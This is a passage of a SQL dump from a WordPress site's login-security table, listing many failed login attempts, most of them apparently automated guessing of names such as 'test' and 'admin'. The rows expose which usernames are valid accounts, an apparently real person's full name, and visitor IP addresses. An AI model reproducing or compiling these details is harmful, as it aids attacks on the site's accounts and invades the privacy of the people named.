(100259, 1495473240.468441, 1, 'loginFailInvalidUsername', 'notre', 0, 1495980045, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100258, 1495472562.870633, 1, 'loginFailInvalidUsername', 'outils', 0, 1729627112, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100257, 1495471953.538443, 1, 'loginFailValidUsername', 'admin', 1, 3237921028, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100256, 1495470988.786893, 1, 'loginFailInvalidUsername', 'notre', 0, 1833311020, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100255, 1495409637.751304, 1, 'loginFailValidUsername', 'admin', 1, 531267501, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100254, 1495409637.092013, 1, 'loginFailValidUsername', 'pablo', 3, 531267501, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100253, 1495409636.419797, 1, 'loginFailInvalidUsername', 'julie pierrard', 0, 531267501, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100252, 1495409635.759945, 1, 'loginFailValidUsername', 'julie', 2, 531267501, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100251, 1495409635.095922, 1, 'loginFailValidUsername', 'julie', 2, 531267501, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(100250, 1495365040.503164, 1, 'loginFailInvalidUsername', 'outils', 0, 1741512757, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(100249, 1495364451.694098, 1, 'loginFailValidUsername', 'admin', 1, 3586257058, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
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(99128, 1492522062.306191, 1, 'loginFailInvalidUsername', 'test', 0, 3136602829, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99115, 1492512325.945787, 1, 'loginFailInvalidUsername', 'test', 0, 1590215498, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99113, 1492511910.365321, 1, 'loginFailInvalidUsername', 'test', 0, 2177341263, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99112, 1492511909.372978, 1, 'loginFailInvalidUsername', 'test', 0, 2177341263, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99111, 1492510036.190102, 1, 'loginFailInvalidUsername', 'test', 0, 2076790141, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99108, 1492509215.594833, 1, 'loginFailInvalidUsername', 'test', 0, 3134553032, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99107, 1492508703.398315, 1, 'loginFailInvalidUsername', 'test', 0, 608327268, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99102, 1492505475.473139, 1, 'loginFailInvalidUsername', 'test', 0, 3648684353, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99101, 1492501644.182625, 1, 'loginFailInvalidUsername', 'test', 0, 2047013389, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99100, 1492501642.544780, 1, 'loginFailInvalidUsername', 'test', 0, 2047013389, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99099, 1492500592.336273, 1, 'loginFailInvalidUsername', 'test', 0, 36865490, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99097, 1492500055.658160, 1, 'loginFailInvalidUsername', 'test', 0, 831606952, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99095, 1492498022.173032, 1, 'loginFailInvalidUsername', 'test', 0, 2047060457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99094, 1492498020.280174, 1, 'loginFailInvalidUsername', 'test', 0, 2047060457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99092, 1492485164.332387, 1, 'loginFailInvalidUsername', 'test', 0, 2630018511, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99091, 1492483806.887193, 1, 'loginFailInvalidUsername', 'test', 0, 2082369434, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99090, 1492483805.619584, 1, 'loginFailInvalidUsername', 'test', 0, 2082369434, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99089, 1492482546.793912, 1, 'loginFailInvalidUsername', 'test', 0, 1825994579, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(99088, 1492482316.385949, 1, 'loginFailInvalidUsername', 'test', 0, 1269756669, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99087, 1492482125.511247, 1, 'loginFailInvalidUsername', 'test', 0, 3173368969, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99086, 1492474279.039241, 1, 'loginFailInvalidUsername', 'test', 0, 2077463425, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99085, 1492473599.070357, 1, 'loginFailInvalidUsername', 'test', 0, 1844610345, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99084, 1492473597.859916, 1, 'loginFailInvalidUsername', 'test', 0, 1844610345, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99083, 1492472107.894271, 1, 'loginFailInvalidUsername', 'test', 0, 3149155376, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99082, 1492472105.658336, 1, 'loginFailInvalidUsername', 'test', 0, 3149155376, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99081, 1492470070.023897, 1, 'loginFailInvalidUsername', 'test', 0, 1336437487, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99080, 1492470068.998546, 1, 'loginFailInvalidUsername', 'test', 0, 1336437487, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99079, 1492465942.123583, 1, 'loginFailInvalidUsername', 'test', 0, 2012678856, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/71FA'),
(99078, 1492465939.882075, 1, 'loginFailInvalidUsername', 'test', 0, 2012678856, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/71FA'),
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(99074, 1492465224.186143, 1, 'loginFailInvalidUsername', 'test', 0, 623870041, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99071, 1492462553.629508, 1, 'loginFailInvalidUsername', 'test', 0, 3419821096, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99070, 1492462552.096937, 1, 'loginFailInvalidUsername', 'test', 0, 3419821096, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99069, 1492461969.772244, 1, 'loginFailInvalidUsername', 'test', 0, 39334595, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99068, 1492461968.685678, 1, 'loginFailInvalidUsername', 'test', 0, 39334595, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99066, 1492458375.729174, 1, 'loginFailInvalidUsername', 'test', 0, 778261762, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99064, 1492458246.128961, 1, 'loginFailInvalidUsername', 'test', 0, 3574689614, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99063, 1492456971.758008, 1, 'loginFailInvalidUsername', 'test', 0, 1979102065, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99062, 1492456969.289684, 1, 'loginFailInvalidUsername', 'test', 0, 1979102065, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99061, 1492456156.530750, 1, 'loginFailInvalidUsername', 'test', 0, 1659124010, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99060, 1492454875.803320, 1, 'loginFailInvalidUsername', 'test', 0, 1547635932, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99059, 1492454874.729340, 1, 'loginFailInvalidUsername', 'test', 0, 1547635932, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99052, 1492449038.649001, 1, 'loginFailInvalidUsername', 'test', 0, 1589497003, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99051, 1492449037.461825, 1, 'loginFailInvalidUsername', 'test', 0, 1589497003, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99050, 1492448046.359765, 1, 'loginFailInvalidUsername', 'test', 0, 1392362811, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99049, 1492448045.430555, 1, 'loginFailInvalidUsername', 'test', 0, 1392362811, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99048, 1492447409.734878, 1, 'loginFailInvalidUsername', 'test', 0, 1379084173, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99047, 1492447407.986764, 1, 'loginFailInvalidUsername', 'test', 0, 1379084173, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99046, 1492444859.475864, 1, 'loginFailInvalidUsername', 'test', 0, 1605635691, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99045, 1492444647.752180, 1, 'loginFailInvalidUsername', 'test', 0, 1552930855, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99044, 1492444646.766899, 1, 'loginFailInvalidUsername', 'test', 0, 1552930855, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99043, 1492443650.335870, 1, 'loginFailInvalidUsername', 'test', 0, 694592633, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99042, 1492443649.200151, 1, 'loginFailInvalidUsername', 'test', 0, 694592633, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99041, 1492442452.560003, 1, 'loginFailInvalidUsername', 'test', 0, 1840681748, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99040, 1492442451.574835, 1, 'loginFailInvalidUsername', 'test', 0, 1840681748, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99039, 1492441333.830586, 1, 'loginFailInvalidUsername', 'test', 0, 2537443566, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99038, 1492440946.348958, 1, 'loginFailInvalidUsername', 'test', 0, 3144934315, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99037, 1492440944.969344, 1, 'loginFailInvalidUsername', 'test', 0, 3144934315, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99036, 1492440490.266667, 1, 'loginFailInvalidUsername', 'test', 0, 1096748134, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99035, 1492440489.188882, 1, 'loginFailInvalidUsername', 'test', 0, 1096748134, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99034, 1492440453.622861, 1, 'loginFailInvalidUsername', 'test', 0, 86369906, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99033, 1492440451.917973, 1, 'loginFailInvalidUsername', 'test', 0, 86369906, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99032, 1492439406.754473, 1, 'loginFailInvalidUsername', 'test', 0, 1768869012, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99031, 1492436051.263336, 1, 'loginFailInvalidUsername', 'test', 0, 39580259, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99030, 1492436050.154445, 1, 'loginFailInvalidUsername', 'test', 0, 39580259, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99029, 1492433471.181095, 1, 'loginFailInvalidUsername', 'test', 0, 737893407, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99028, 1492433469.764543, 1, 'loginFailInvalidUsername', 'test', 0, 737893407, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99027, 1492430707.233486, 1, 'loginFailInvalidUsername', 'test', 0, 979498369, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99026, 1492430705.292263, 1, 'loginFailInvalidUsername', 'test', 0, 979498369, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99025, 1492426556.454159, 1, 'loginFailInvalidUsername', 'test', 0, 1416403101, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99024, 1492426555.382154, 1, 'loginFailInvalidUsername', 'test', 0, 1416403101, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99018, 1492420452.949161, 1, 'loginFailInvalidUsername', 'test', 0, 1407362711, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(99017, 1492415875.621951, 1, 'loginFailInvalidUsername', 'test', 0, 1539009069, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(98786, 1492167561.306965, 1, 'loginFailInvalidUsername', 'julie pierrard', 0, 633041094, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(98785, 1492167560.664184, 1, 'loginFailValidUsername', 'julie', 2, 633041094, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
(98784, 1492167560.009072, 1, 'loginFailValidUsername', 'julie', 2, 633041094, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36'),
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(98782, 1492167413.997964, 1, 'loginFailInvalidUsername', 'test', 0, 1039602305, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(98779, 1492160411.787543, 1, 'loginFailInvalidUsername', 'test', 0, 783306918, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98778, 1492155817.705691, 1, 'loginFailInvalidUsername', 'test', 0, 1564920793, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(98775, 1492148266.664299, 1, 'loginFailInvalidUsername', 'test', 0, 3184961325, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98774, 1492145540.153014, 1, 'loginFailInvalidUsername', 'test', 0, 698235021, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98773, 1492145538.833866, 1, 'loginFailInvalidUsername', 'test', 0, 698235021, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98772, 1492144971.355227, 1, 'loginFailInvalidUsername', 'test', 0, 1430929736, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98771, 1492144970.304125, 1, 'loginFailInvalidUsername', 'test', 0, 1430929736, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(98770, 1492144915.910124, 1, 'loginFailInvalidUsername', 'test', 0, 3393065050, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98769, 1492134517.093906, 1, 'loginFailInvalidUsername', 'test', 0, 3153760673, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98768, 1492132585.288795, 1, 'loginFailInvalidUsername', 'test', 0, 3171175055, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98767, 1492132567.929758, 1, 'loginFailInvalidUsername', 'test', 0, 1534241720, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98766, 1492131983.976174, 1, 'loginFailInvalidUsername', 'test', 0, 1768890868, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98765, 1492126118.936569, 1, 'loginFailInvalidUsername', 'test', 0, 1731167281, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98764, 1492122825.061357, 1, 'loginFailInvalidUsername', 'test', 0, 3159373275, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98763, 1492116361.422038, 1, 'loginFailInvalidUsername', 'test', 0, 1893182448, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98762, 1492116359.762756, 1, 'loginFailInvalidUsername', 'test', 0, 1893182448, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98761, 1492114280.900546, 1, 'loginFailInvalidUsername', 'test', 0, 1326665543, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98760, 1492114279.712316, 1, 'loginFailInvalidUsername', 'test', 0, 1326665543, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98759, 1492111093.339057, 1, 'loginFailInvalidUsername', 'test', 0, 688738866, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(98757, 1492111051.506695, 1, 'loginFailInvalidUsername', 'test', 0, 1365262172, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98756, 1492110466.287582, 1, 'loginFailInvalidUsername', 'test', 0, 3169684338, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98755, 1492110465.267994, 1, 'loginFailInvalidUsername', 'test', 0, 3169684338, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98754, 1492108332.626267, 1, 'loginFailValidUsername', 'julie', 2, 1565317613, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'),
(98753, 1492108332.625353, 1, 'loginFailValidUsername', 'pablo', 3, 1565317613, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'),
(98752, 1492108218.857468, 1, 'loginFailValidUsername', 'pablo', 3, 2997180598, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'),
(98751, 1492108218.215742, 1, 'loginFailValidUsername', 'julie', 2, 2997180598, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'),
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(98744, 1492098343.523968, 1, 'loginFailInvalidUsername', 'test', 0, 3393078506, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(98733, 1492077320.069033, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98732, 1492077319.750621, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98731, 1492077319.429670, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98730, 1492077319.112995, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98729, 1492077318.713658, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98728, 1492077318.372024, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98727, 1492077318.055369, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98726, 1492077317.713935, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98725, 1492077317.397048, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98724, 1492077317.079885, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98723, 1492077316.749907, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98722, 1492077316.432160, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98721, 1492077316.115320, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98720, 1492077315.797914, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98719, 1492077315.469115, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98718, 1492077315.143902, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98717, 1492077314.823360, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98716, 1492077314.506631, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98715, 1492077314.184619, 1, 'loginFailValidUsername', 'admin', 1, 1210059408, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
(98714, 1492072432.550064, 1, 'loginFailInvalidUsername', 'test', 0, 453423111, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(98713, 1492072431.275737, 1, 'loginFailInvalidUsername', 'test', 0, 453423111, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(98444, 1491816338.413878, 1, 'loginFailValidUsername', 'admin', 1, 1728496878, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:23.0) Gecko/20100101 Firefox/23.0'),
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(98454, 1491821332.926006, 1, 'loginFailValidUsername', 'admin', 1, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
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(98456, 1491821336.416725, 1, 'loginFailValidUsername', 'pablo', 3, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98457, 1491821338.150584, 1, 'loginFailInvalidUsername', 'vous', 0, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98458, 1491821339.912152, 1, 'loginFailInvalidUsername', 'training', 0, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98459, 1491821341.828534, 1, 'loginFailInvalidUsername', 'notre', 0, 2760129448, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
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(98463, 1491822078.977389, 1, 'loginFailInvalidUsername', 'cross', 0, 1388568683, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98464, 1491822875.813636, 1, 'loginFailInvalidUsername', 'demo', 0, 2548839248, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(98465, 1491823552.235033, 1, 'loginFailInvalidUsername', 'test', 0, 3319534981, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(98466, 1491823553.951432, 1, 'loginFailInvalidUsername', 'test', 0, 3319534981, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(99459, 1493087466.716597, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 2637388761, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
